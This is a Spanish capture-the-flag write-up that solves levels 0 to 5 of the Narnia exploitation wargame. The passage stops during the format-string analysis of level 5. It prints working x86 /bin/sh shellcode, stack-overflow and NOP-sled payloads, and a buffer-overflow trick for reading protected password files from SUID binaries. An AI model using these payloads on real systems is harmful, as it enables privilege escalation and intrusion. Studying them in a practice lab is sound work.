Mi solución al wargame Narnia

47
Mi solución al wargame Narnia http://www.overthewire.org/wargames/narnia/ 24/02/2013 @neosysforensics

description

Resumen de los pasos dados para superar los niveles correspondientes al wargame de exploiting Narnia, alojado en los servidores de overthewire.

Transcript of Mi solución al wargame Narnia

Page 1: Mi solución al wargame Narnia

Mi solución al wargame Narniahttp://www.overthewire.org/wargames/narnia/

24/02/2013

@neosysforensics

Page 2: Mi solución al wargame Narnia
Page 3: Mi solución al wargame Narnia

Índice de contenidoIntroducción...........................................................................................................................5Nivel 0..................................................................................................................................... 7Nivel 1................................................................................................................................... 11Nivel 2................................................................................................................................... 13Nivel 3................................................................................................................................... 17Nivel 4................................................................................................................................... 21Nivel 5................................................................................................................................... 25Nivel 6................................................................................................................................... 29Nivel 7................................................................................................................................... 35Nivel 8................................................................................................................................... 39Nivel 9................................................................................................................................... 47

Page 4: Mi solución al wargame Narnia

4

Page 5: Mi solución al wargame Narnia

IntroducciónEl reto Narnia, alojado en los servidores de overthewire1, es un reto de exploiting de nivel básicodado que los binarios no están sujetos a ningún tipo de protección, lease ASLR, ejecución decódigo en el stack, protección frente a desbordamientos de buffer, etc.

Además de todo lo anterior, cada uno de los binarios que se corresponden con los diferentesniveles viene acompañado de su código fuente, lo que facilitará su análisis y comprensiónutilizando GNU debugger (aka gdb2).

La dirección del servidor que aloja el wargame es narnia.labs.overthewire.org y accederemos almismo utilizando cualquier cliente SSH (PuTTY3 desde Windows, por ejemplo). Mas información,incluyendo los créditos de los creadores del reto en la dirección:

http://www.overthewire.org/wargames/narnia/

No lo indico explícitamente pero es recomendable borrar cualquier fichero generado para superarel reto correspondiente a cada nivel una vez completado éste.

Sin más preámbulos pasemos a la acción :-)

1 http://www.overthewire.org/wargames/2 http://www.gnu.org/software/gdb/3 http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html

5

Page 6: Mi solución al wargame Narnia

6

Page 7: Mi solución al wargame Narnia

Nivel 0Utilizaremos narnia0 como nombre de usuario y contraseña y una vez autentificados en elsistema comenzaremos a familiarizarnos con él.

Aterrizaremos en el directorio /home del usuario, sobre el que tendremos unos permisos muyrestringidos:

narnia0@melissa:~$ ls -ld .drwxr-xr-x 2 root root 4096 2012-06-28 14:55 .

Si por cualquier motivo necesitamos crear algún fichero tendremos que desplazarnos al directorio/tmp, y procurar no olvidar el nombre del mismo, dado que no podremos listar el contenido deldirectorio:

narnia0@melissa:~$ cd /tmpnarnia0@melissa:/tmp$ ls -ld .drwxrwx-wt 1299 root root 602112 2013-02-20 19:58 .

Los binarios y sus correspondientes ficheros de código fuente se encuentran en la siguiente ruta:

narnia0@melissa:/tmp$ ls -l /narniatotal 69-r-sr-x--- 1 narnia1 narnia0 7247 2012-06-28 14:55 narnia0-r--r----- 1 narnia0 narnia0 1138 2012-06-28 14:55 narnia0.c-r-sr-x--- 1 narnia2 narnia1 7163 2012-09-24 12:48 narnia1-r--r----- 1 narnia1 narnia1 1000 2012-09-24 12:48 narnia1.c-r-sr-x--- 1 narnia3 narnia2 4661 2012-06-28 14:55 narnia2-r--r----- 1 narnia2 narnia2 999 2012-06-28 14:55 narnia2.c-r-sr-x--- 1 narnia4 narnia3 5339 2012-06-28 14:55 narnia3-r--r----- 1 narnia3 narnia3 1841 2012-06-28 14:55 narnia3.c-r-sr-x--- 1 narnia5 narnia4 4855 2012-06-28 14:55 narnia4-r--r----- 1 narnia4 narnia4 1064 2012-06-28 14:55 narnia4.c-r-sr-x--- 1 narnia6 narnia5 5007 2012-06-28 14:55 narnia5-r--r----- 1 narnia5 narnia5 1221 2012-06-28 14:55 narnia5.c-r-sr-x--- 1 narnia7 narnia6 5297 2012-12-19 19:01 narnia6-r--r----- 1 narnia6 narnia6 1340 2012-12-19 19:01 narnia6.c-r-sr-x--- 1 narnia8 narnia7 5866 2012-06-28 14:55 narnia7-r--r----- 1 narnia7 narnia7 1930 2012-06-28 14:55 narnia7.c-r-sr-x--- 1 narnia9 narnia8 4692 2012-06-28 14:55 narnia8-r--r----- 1 narnia8 narnia8 1292 2012-06-28 14:55 narnia8.c

Cada uno de los ejecutables pertenece al usuario correspondiente al siguiente nivel y todos tienenactivo el bit SUID4.

Por otra parte las contraseñas para los diferentes niveles se almacenan en el directorio/etc/narnia_pass, en un fichero con el nombre del usuario correspondiente.

4 http://www.iec.csic.es/criptonomicon/linux/suid.html

7

Page 8: Mi solución al wargame Narnia

narnia0@melissa:/tmp$ ls -l /etc/narnia_pass/total 40-r-------- 1 narnia0 narnia0 8 2012-06-28 14:55 narnia0-r-------- 1 narnia1 narnia1 11 2012-09-24 12:48 narnia1-r-------- 1 narnia2 narnia2 11 2012-06-28 14:55 narnia2-r-------- 1 narnia3 narnia3 11 2012-06-28 14:55 narnia3-r-------- 1 narnia4 narnia4 11 2012-06-28 14:55 narnia4-r-------- 1 narnia5 narnia5 11 2012-06-28 14:55 narnia5-r-------- 1 narnia6 narnia6 11 2012-12-19 19:01 narnia6-r-------- 1 narnia7 narnia7 11 2012-06-28 14:55 narnia7-r-------- 1 narnia8 narnia8 11 2012-06-28 14:55 narnia8-r-------- 1 narnia9 narnia9 11 2012-06-28 14:55 narnia9

De todo lo anterior deducimos que explotando algún fallo en los binarios de cada nivel tendremosque ser capaces de leer el fichero con la contraseña para acceder al siguiente. Empezaremosviendo el código fuente del primero:

narnia0@melissa:~$ cat /narnia/narnia0.c/* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA*/#include <stdio.h>#include <stdlib.h>

int main(){ long val=0x41414141; char buf[20];

printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n"); printf("Here is your chance: "); scanf("%24s",&buf);

printf("buf: %s\n",buf); printf("val: 0x%08x\n",val);

if(val==0xdeadbeef) system("/bin/sh"); else { printf("WAY OFF!!!!\n"); exit(1); }

return 0;}

8

Page 9: Mi solución al wargame Narnia

Parece que el programa recibe interactivamente nuestra entrada de texto para, a continuación,comprobar el valor de una variable almacenada previamente; si conseguimos hacer que el valor dedicha variable, en hexadecimal, sea igual a “deadbeef” obtendremos como premio una shelldesde la que podremos leer el fichero con la contraseña de acceso al siguiente nivel.

Empezaremos con las perrerías, probando directamente a desbordar el buffer de destinointroduciendo 21 caracteres (buf solo admite 20):

narnia0@melissa:/narnia$ /narnia/narnia0Correct val's value from 0x41414141 -> 0xdeadbeef!Here is your chance: BBBBBBBBBBBBBBBBBBBBBbuf: BBBBBBBBBBBBBBBBBBBBBval: 0x41410042WAY OFF!!!!

De la salida podemos deducir que la variable val se sitúa en la pila justo después del final de bufya que hemos sobreescrito dos bytes: una B y el valor nulo indicador del final de cadena. Vamos aconfirmarlo probando con 24 caracteres:

narnia0@melissa:/narnia$ /narnia/narnia0Correct val's value from 0x41414141 -> 0xdeadbeef!Here is your chance: BBBBBBBBBBBBBBBBBBBBBBBBbuf: BBBBBBBBBBBBBBBBBBBBBBBBval: 0x42424242WAY OFF!!!!

Ahora mediante python generaremos la cadena que utilizaremos como entrada utilizando 20 B's y el valor hexadecimal “deadbeef”, recordando que estamos en un sistema little-endian5 y que por lo tanto tendremos que ponerla justo “al revés”:

narnia0@melissa:~$ python -c 'print "B" * 20 + "\xef\xbe\xad\xde"'BBBBBBBBBBBBBBBBBBBBï¾Þ

Solo resta utilizar la cadena anterior como entrada de la aplicación vulnerable, y para ello tenemosdos opciones: la cutre, que fué la que yo usé, y la elegante6, que es la que averiguó @NewLog_. Lacutre consiste en copiar la cadena generada con el comando anterior, ejecutar la aplicación ypegarla cuando nos solicite la entrada. La más elegante seria:

narnia0@melissa:~$ (python -c 'print "B" * 20 + "\xef\xbe\xad\xde"' ; cat) \> | /narnia/narnia0Correct val's value from 0x41414141 -> 0xdeadbeef!Here is your chance: buf: BBBBBBBBBBBBBBBBBBBBï¾Þval: 0xdeadbeefcat /etc/narnia_pass/narnia1lolololol

5 http://es.wikipedia.org/wiki/Endianness6 http://foro.overflowedminds.net/viewtopic.php?f=32&t=76#p1309

9

Page 10: Mi solución al wargame Narnia

A pesar que no veamos el prompt estaremos dentro de una shell, y de hecho al ejecutar elcomando para obtener la contraseña éste se ejecutará devolviéndola como resultado. Para salir dela shell podemos utilizar Ctrl+C o el comando exit mas un retorno de carro.

Por cierto, ni en ésta ni en el resto de soluciones he incluido la contraseña correcta.

10

Page 11: Mi solución al wargame Narnia

Nivel 1Una vez autentificados en el sistema como el usuario narnia1 con la contraseña obtenida en elnivel anterior analizaremos el código fuente de la aplicación:

narnia1@melissa:~$ cat /narnia/narnia1.c/* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA*/#include <stdio.h>

int main(){ int (*ret)();

if(getenv("EGG")==NULL){ printf("Give me something to execute at the env-variable EGG\n"); exit(1); }

printf("Trying to execute EGG!\n"); ret = getenv("EGG"); ret();

return 0;}

El programa comprueba el valor de la variable de entorno EGG de forma que, si está definida,comenzará a ejecutar las instrucciones que allí encuentre.

Pues nada, ya lo tenemos, bastará con exportar en la variable de entorno EGG una shellcode queejecute bash y lanzar a continuación la aplicación vulnerable:

narnia1@melissa:~$ export EGG=$(python -c 'print "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" +"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e" +"\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"')narnia1@melissa:~$ /narnia/narnia1Trying to execute EGG!$ cat /etc/narnia_pass/narnia2lolololol

11

Page 12: Mi solución al wargame Narnia

12

Page 13: Mi solución al wargame Narnia

Nivel 2Autentificados en el sistema como el usuario narnia2 con la contraseña obtenida en el nivelanterior, primero analizaremos el código fuente de la aplicación vulnerable:

narnia2@melissa:~$ cat /narnia/narnia2.c/* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA*/#include <stdio.h>#include <string.h>#include <stdlib.h>

int main(int argc, char * argv[]){ char buf[128];

if(argc == 1){ printf("Usage: %s argument\n", argv[0]); exit(1); } strcpy(buf,argv[1]); printf("%s", buf);

return 0;}

Probaremos a desbordar el buffer, buf[128], pero antes utilizaremos gdb para analizar laaplicación y ver la composición del stack:

narnia2@melissa:~$ gdb -q /narnia/narnia2Reading symbols from /narnia/narnia2...(no debugging symbols found)...done.(gdb) break strcpyBreakpoint 1 at 0x8048314(gdb) run AAAAStarting program: /narnia/narnia2 AAAA

Breakpoint 1, 0xf7eea123 in strcpy () from /lib32/libc.so.6(gdb) x/4xw $esp0xffffd6a8: 0xffffd748 0x08048450 0xffffd6c0 0xffffd929

Estamos dentro de la función strcpy, así que los cuatro valores mostrados se corresponden, pororden de aparición, con los siguientes:

13

Page 14: Mi solución al wargame Narnia

• Dirección del stack donde está el registro EBP para el main: 0xffffd748.• Dirección para la siguiente instrucción una vez finalice la función: 0x08048450.• Dirección que apunta a buf[128], primer argumento de strcpy: 0xffffd6c0.• Dirección para el contenido de argv[1], segundo argumento de strcpy: 0xffffd929.

Por lo tanto el stack, una vez terminada strcpy, tendrá más o menos el siguiente aspecto:

0xffffd74c: EIP del mainEBP --> 0xffffd748: EBP del main 0xffffd74c: buf[128] ..........: buf[128]

0xffffd6c0: buf[128] 0xffffd6bc: No es importante 0xffffd6b8: No es importante 0xffffd6b4: No es importanteESP --> 0xffffd6b0: No es importante

Los valores exactos variarán cuando utilicemos un buffer más grande, pero lo realmenteimportante es el “offset” necesario para sobreescribir EIP:

0xffffd74c – 0xffffd6c0 = 0x8c + 0x4 = 0x90 → 144 en decimal

Probemos:

narnia2@melissa:~$ /narnia/narnia2 $(python -c 'print "A" * 144')Segmentation fault

Exportaremos una variable de entorno con una shellcode, obtendremos la dirección de dichavariable en memoria y la usaremos para sobreescribir EIP. Dado que tenemos que generar ycompilar un programa para obtener dicha dirección nos situaremos en el directorio /tmp.

narnia2@melissa:~$ cd /tmpnarnia2@melissa:/tmp$ export SHELLCODE=$(python -c 'print "\x31\xc0\x31\xdb\xb0" +"\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89" +"\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff" +"\xff/bin/sh"')narnia2@melissa:/tmp$ vim get_address.c#include <stdio.h>#include <stdlib.h>

int main(int argc, char *argv[]){ if(!argv[1]) exit(1);

printf("%#x\n", getenv(argv[1]));

return 0;}

14

Page 15: Mi solución al wargame Narnia

Para obtener la dirección correcta tenemos que compilar el programa como un binario de 32 bits,ya que a pesar de ejecutarse en un sistema de 64 bits los binarios del reto están generados así:

narnia2@melissa:/tmp$ gcc -m32 -o get_address get_address.cnarnia2@melissa:/tmp$ ./get_address SHELLCODE0xffffdf01

Utilizando la dirección anterior desbordaremos la variable buf sobreescribiendo EIP:

narnia2@melissa:/tmp$ /narnia/narnia2 $(python -c 'print "A" * 140 + "\x01\xdf\xff\xff"')$ cat /etc/narnia_pass/narnia3lolololol

15

Page 16: Mi solución al wargame Narnia

16

Page 17: Mi solución al wargame Narnia

Nivel 3Autentificados en el sistema como el usuario narnia3 con la contraseña obtenida en el nivelanterior, primero analizaremos el código fuente de la aplicación vulnerable:

narnia3@melissa:~$ cat /narnia/narnia3.c/* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA*/#include <stdio.h>#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <unistd.h>#include <stdlib.h>#include <string.h>

int main(int argc, char **argv){

int ifd, ofd; char ofile[16] = "/dev/null"; char ifile[32]; char buf[32];

if(argc != 2){ printf("usage, %s file, will send contents of file 2" "/dev/null\n",argv[0]); exit(-1); }

/* open files */ strcpy(ifile, argv[1]); if((ofd = open(ofile,O_RDWR)) < 0 ){ printf("error opening %s\n", ofile); exit(-1); } if((ifd = open(ifile, O_RDONLY)) < 0 ){ printf("error opening %s\n", ifile); exit(-1); }

/* copy from file1 to file2 */ read(ifd, buf, sizeof(buf)-1); write(ofd,buf, sizeof(buf)-1); printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);

17

Page 18: Mi solución al wargame Narnia

/* close 'em */ close(ifd); close(ofd);

exit(1);}

Leyendo el código vemos dos ficheros utilizados por la aplicación: el fichero de entrada recibidocomo argumento desde la línea de comandos y el fichero de salida que apunta a /dev/null. Siejecutamos el binario tal que:

narnia3@melissa:~$ /narnia/narnia3 /etc/narnia_pass/narnia4copied contents of /etc/narnia_pass/narnia4 to a safer place... (/dev/null)

Se copiará la contraseña que queremos obtener al fichero definido como destino, así que lo quetendremos que conseguir es que la salida deje de apuntar a /dev/null y lo haga a un ficherocontrolado por nosotros.

Volvamos a lanzar la aplicación desde dentro del debugger para “dibujarnos” el contenido delstack. Pongamos un breakpoint en la llamada a strcpy7:

narnia3@melissa:~$ gdb -q /narnia/narnia3Reading symbols from /narnia/narnia3...(no debugging symbols found)...done.(gdb) break strcpyBreakpoint 1 at 0x80483c0(gdb) run /etc/narnia_pass/narnia4Starting program: /narnia/narnia3 /etc/narnia_pass/narnia4

Breakpoint 1, 0xf7eea123 in strcpy () from /lib32/libc.so.6(gdb) x/4xw $esp0xffffd6b8: 0xffffd738 0x0804851d 0xffffd6f8 0xffffd915

Como estamos dentro de la función strcpy una vez ejecutado el prólogo, los valores de la salidaanterior, en el mismo orden en que aparecen, se corresponderán con:

• Dirección de EBP dentro del main: 0xffffd738.• Siguiente instrucción al terminar strcpy (EIP en el main): 0x0804851d.• Dirección en el stack donde empieza ifile[32]: 0xffffd6f8.• Dirección en el stack para la cadena correspondiente a argv[1]: 0xffffd915.

Comprobémoslo poniendo un breakpoint en la instrucción inmediatamente posterior a strcpy:

(gdb) break *0x0804851dBreakpoint 2 at 0x804851d

7 http://linux.die.net/man/3/strcpy

18

Page 19: Mi solución al wargame Narnia

(gdb) cContinuing.

Breakpoint 2, 0x0804851d in main ()(gdb) print (char *) 0xffffd6f8$1 = 0xffffd6f8 "/etc/narnia_pass/narnia4"(gdb) print (char *) 0xffffd915$2 = 0xffffd915 "/etc/narnia_pass/narnia4"

Veamos ahora qué es lo que tenemos justo “detrás” de ifile[32], que será la región del stackque podremos sobreescribir desbordando el buffer:

(gdb) x/12xw 0xffffd6f80xffffd6f8: 0x6374652f 0x72616e2f 0x5f61696e 0x737361700xffffd708: 0x72616e2f 0x3461696e 0xf7ea2c00 0xf7fd33240xffffd718: 0x7665642f 0x6c756e2f 0x0000006c 0x00000000

Encontramos primero, como era de esperar, la cadena utilizada como argumento de la aplicación,/etc/narnia_pass/narnia4, escrita en little-endian usando un valor hexadecimal de 1 bytepara representar cada carácter ASCII8, y terminada con el carácter de final de cadena o carácternulo (00). Y justo a continuación encontramos lo que parece ser otra cadena, ¿quizás la variableofile[16] establecida por defecto a /dev/null?

(gdb) print (char *) 0xffffd6f8+32$3 = 0xffffd718 "/dev/null"

Ahí la tenemos, así que la estructura de nuestro payload será:

/etc/narnia_pass/narnia4AAAAAAAA/tmp/passwd|______________________________||______________| ifile[32] ofile[16]

Tendremos que rellenar la primera cadena con A's para empezar a escribir la segunda cadena justoen el lugar adecuado. La segunda cadena termina en un byte nulo, por lo que no es necesarioningún relleno. Sobra decir que el número de caracteres que forman la ruta del fichero dondevolcaremos la contraseña tiene que ser necesariamente inferior a 15 caracteres (15 + 1 byte nulo).

(gdb) run /etc/narnia_pass/narnia4AAAAAAAA/tmp/passwdThe program being debugged has been started already.Start it from the beginning? (y or n) yStarting program: /narnia/narnia3 /etc/narnia_pass/narnia4AAAAAAAA/tmp/passwd

Breakpoint 1, 0xf7eea123 in strcpy () from /lib32/libc.so.6

8 http://www.asciitable.com/

19

Page 20: Mi solución al wargame Narnia

(gdb) x/4xw $esp0xffffd6a8: 0xffffd728 0x0804851d 0xffffd6e8 0xffffd902(gdb) cContinuing.

Breakpoint 2, 0x0804851d in main ()(gdb) print (char *) 0xffffd6e8$4 = 0xffffd6e8 "/etc/narnia_pass/narnia4AAAAAAAA/tmp/passwd"(gdb) print (char *) 0xffffd6e8+32$5 = 0xffffd708 "/tmp/passwd"

Los offsets han cambiado debido a la mayor longitud del argumento recibido como entrada por laaplicación, pero la estructura del stack se mantiene, así que ya lo tenemos.

Nos desplazaremos al directorio /tmp, donde crearemos los ficheros necesarios para obtener lacontraseña. Primero el fichero de destino, con los permisos adecuados para que pueda escribir enél cualquier usuario del sistema (y por ende el binario /narnia/narnia3):

narnia3@melissa:/tmp$ touch passwdnarnia3@melissa:/tmp$ chmod 777 passwd

y ahora crearemos un enlace simbólico al fichero con la contraseña. Debemos hacerlo así porque laaplicación usará /etc/narnia_pass/narnia4AAAAAAAA/tmp/passwd como nombre del ficheroa leer:

narnia3@melissa:/tmp$ ln -s /etc/narnia_pass/narnia4 \> /tmp/narnia_pass/narnia4AAAAAAAA/tmp/passwd

Solo nos queda ejecutar la aplicación pasándole como argumento la cadena maliciosa y leer lacontraseña obtenida:

narnia3@melissa:/tmp$ /narnia/narnia3 /tmp/narnia_pass/narnia4AAAAAAAA/tmp/passwdcopied contents of /tmp/narnia_pass/narnia4AAAAAAAA/tmp/passwd to a safer place... (/tmp/passwd)narnia3@melissa:/tmp$ cat passwdlolololol

20

Page 21: Mi solución al wargame Narnia

Nivel 4Autentificados en el sistema como el usuario narnia4 con la contraseña obtenida en el nivelanterior, primero analizaremos el código fuente de la aplicación vulnerable:

narnia4@melissa:~$ cat /narnia/narnia4.c/* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA*/

#include <string.h>#include <stdlib.h>#include <stdio.h>#include <ctype.h>

extern char **environ;

int main(int argc,char **argv){ int i; char buffer[256];

for(i = 0; environ[i] != NULL; i++) memset(environ[i], '\0', strlen(environ[i]));

if(argc>1) strcpy(buffer,argv[1]);

return 0;}

La aplicación no muestra ningún tipo de salida además de que el objetivo parece estar claro:desbordar la variable buffer[256] para sobreescribir EIP y ejecutar así nuestra shellcode:

narnia4@melissa:~$ gdb -q /narnia/narnia4Reading symbols from /narnia/narnia4...(no debugging symbols found)...done.(gdb) break *strcpyBreakpoint 1 at 0x804838c(gdb) run AAAAStarting program: /narnia/narnia4 AAAA

Breakpoint 1, 0xf7eea120 in strcpy () from /lib32/libc.so.6(gdb) x/4xw $esp0xffffd61c: 0x080484ee 0xffffd63c 0xffffd929 0x00000021

21

Page 22: Mi solución al wargame Narnia

(gdb) info reg ebpebp 0xffffd748 0xffffd748

De las instrucciones anteriores podemos deducir la siguiente composición del stack:

0xffffd74c: EIPEBP --> 0xffffd748: No es importante ........... 0xffffd63c: Inicio de buffer[256] …..........ESP --> 0xffffd61c: No es importante

Por lo tanto para sobreescribir EIP necesitaremos:

0xffffd74c – 0xffffd63c = 0x110 + 0x4 = 0x114 → 276 en decimal

Respecto a la ubicación de nuestra shellcode, no podremos utilizar una variable de entorno comohemos hecho hasta ahora dado que la aplicación se encarga de vaciar el contenido del entornodurante su ejecución. Pero este será el menor de los problemas ya que tenemos suficiente espacioen buffer para colocarla allí dentro; el verdadero “problema” será la dirección que utilizaremosen EIP y que tendrá que apuntar dentro de nuestro buffer y antes de la shellcode.

Analicemos en que forma se modifican las direcciones utilizando la cantidad de caracteresnecesarios para sobreescribir EIP y si, efectivamente, dicho registro es sobreescrito:

narnia4@melissa:/tmp$ gdb -q /narnia/narnia4Reading symbols from /narnia/narnia4...(no debugging symbols found)...done.(gdb) break strcpyBreakpoint 1 at 0x804838c(gdb) run $(python -c 'print "A" * 276')Starting program: /narnia/narnia4 $(python -c 'print "A" * 276')

Breakpoint 1, 0xf7eea123 in strcpy () from /lib32/libc.so.6(gdb) x/4xw $esp0xffffd518: 0xffffd648 0x080484ee 0xffffd53c 0xffffd822(gdb) break *0x080484eeBreakpoint 2 at 0x80484ee(gdb) cContinuing.

Breakpoint 2, 0x080484ee in main ()(gdb) x/xw $ebp+40xffffd64c: 0x41414141

Nuestro buffer comienza en la dirección 0xffffd53c. Colocaremos al inicio del mismo unacantidad suficiente de NOP's, a continuación nuestra shellcode y al final la dirección de retornoapuntando a la serie de NOP's y repetida tantas veces como sea necesario para llegar hasta EIP.

22

Page 23: Mi solución al wargame Narnia

Primero generaremos un fichero de texto con la shellcode y calcularemos su longitud:

narnia2@melissa:/tmp$ perl -e 'print "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e" ."\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56" ."\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"' > shcnarnia4@melissa:/tmp$ wc -c shc53 shc

En este caso he utilizado perl dado que python se empeña en agregar un carácter de nueva linea alfinal de la cadena y por lo tanto no funcionará al meter la shellcode dentro de buffer.

276 – 200 NOP's – 53 shc = 23

Como el carácter se desalinea (las direcciones van en bloques de 4 bytes) incrementaremos en 3 el numero de NOP's a utilizar.

Por lo tanto nos quedan 20 bytes y para asegurarnos repetiremos 5 veces la dirección de retorno,la cual apuntará a los NOP's (de hecho apunta a buffer más 20 bytes). Probaremos a ver sifunciona:

narnia4@melissa:/tmp$ /narnia/narnia4 $(python -c 'print "\x90" * 203')$(cat shc)$(python -c 'print "\x50\xd5\xff\xff" * 5')$ cat /etc/narnia_pass/narnia5lolololol

El método seguido no es muy elegante, pero cumple con su cometido.

23

Page 24: Mi solución al wargame Narnia

24

Page 25: Mi solución al wargame Narnia

Nivel 5Autentificados en el sistema como el usuario narnia5 con la contraseña obtenida en el nivelanterior, primero analizaremos el código fuente de la aplicación vulnerable:

narnia5@melissa:~$ cat /narnia/narnia5.c/* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA*/#include <stdio.h>#include <stdlib.h>#include <string.h>

int main(int argc, char **argv){ int i = 1; char buffer[64];

snprintf(buffer, sizeof(buffer), argv[1]); buffer[sizeof(buffer) - 1] = 0; printf("Change i's value from 1 -> 500. ");

if(i==500){ printf("GOOD\n"); system("/bin/sh"); }

printf("No way...let me give you a hint!\n"); printf("buffer : [%s] (%d)\n", buffer, strlen(buffer)); printf ("i = %d (%p)\n", i, &i); return 0;}

En este caso tenemos que modificar el valor de la variable i para conseguir que el programa nosbrinde una shell; ademas el contenido de la variable buffer se completa mediante snprintf9,que utilizará la entrada que le proporcionemos a la aplicación como cadena de formato. Y he aquíque nos enfrentamos a un tipo diferente de vulnerabilidad10. Básicamente, si nuestra cadena espasada directamente a una función de la familia printf nada nos impide incluir en el interior de lamisma cualquier tipo de especificador de formato11 que se nos ocurra.

9 http://linux.die.net/man/3/snprintf10 http://crypto.stanford.edu/cs155old/cs155-spring08/papers/formatstring-1.2.pdf11 http://www.cdf.toronto.edu/~ajr/209/notes/printf.html

25

Page 26: Mi solución al wargame Narnia

Este tipo especial de “símbolos” funcionan como un espacio reservado que se completa en tiempode ejecución con los argumentos de la función, los cuales aparecerán formateados tal como dichos“símbolos” indiquen. Pero dado que los argumentos necesarios no están, la función interpretarásecciones contíguas del stack como si de ellos se tratarán.

narnia5@melissa:~$ /narnia/narnia5 "%08x %08x %08x %08x"Change i's value from 1 -> 500. No way...let me give you a hint!buffer : [f7fd2ff4 f7f80b19 f7ea2ab5 ffffd708] (35)i = 1 (0xffffd73c)

En este caso la cadena de formato indica que se muestren los argumentos en hexadecimalutilizando 8 caracteres completando con 0 si fuera necesario. Si lo vemos desde dentro deldebugger estará más claro. Pondremos un breakpoint en la llamada a snprintf y volveremos adetener la aplicación una vez ejecutada la función, y por lo tanto escrito el contenido de buffer:

narnia5@melissa:~$ gdb -q /narnia/narnia5Reading symbols from /narnia/narnia5...(no debugging symbols found)...done.(gdb) break snprintfBreakpoint 1 at 0x8048390(gdb) run "%08x %08x %08x %08x"Starting program: /narnia/narnia5 "%08x %08x %08x %08x"

Breakpoint 1, 0xf7ebd604 in snprintf () from /lib32/libc.so.6(gdb) x/4xw $esp0xffffd6c4: 0xf7fd2ff4 0xffffd738 0x08048485 0xffffd6ec(gdb) break *0x08048485Breakpoint 2 at 0x8048485(gdb) cContinuing.

Breakpoint 2, 0x08048485 in main ()(gdb) x/16xw $esp0xffffd6d0: 0xffffd6ec 0x00000040 0xffffd91a 0xf7fd2ff40xffffd6e0: 0xf7f80b19 0xf7ea2ab5 0xffffd6f8 0x646637660xffffd6f0: 0x34666632 0x66376620 0x31623038 0x376620390xffffd700: 0x61326165 0x66203562 0x64666666 0x00386636

El primer valor que aparece es la dirección de inicio de buffer, 0xffffd6ec, y por lo tanto elprimer argumento que utilizó snprintf en su llamada; a continuación el segundo argumento desnprintf, sizeof(buffer), y por último la dirección en el stack de argv[1], 0xffffd91a,nuestra cadena de formato. A partir de allí los cuatro valores que aparecen son los que seutilizarán en tiempo de ejecución para sustituir los especificadores de formato, y por tanto elcontenido final de buffer. Para comprobarlo dejaremos que el programa termine y por tanto quese ejecute la última sentencia printf de la aplicación:

(gdb) cContinuing.Change i's value from 1 -> 500. No way...let me give you a hint!buffer : [f7fd2ff4 f7f80b19 f7ea2ab5 ffffd6f8] (35)i = 1 (0xffffd72c)

26

Page 27: Mi solución al wargame Narnia

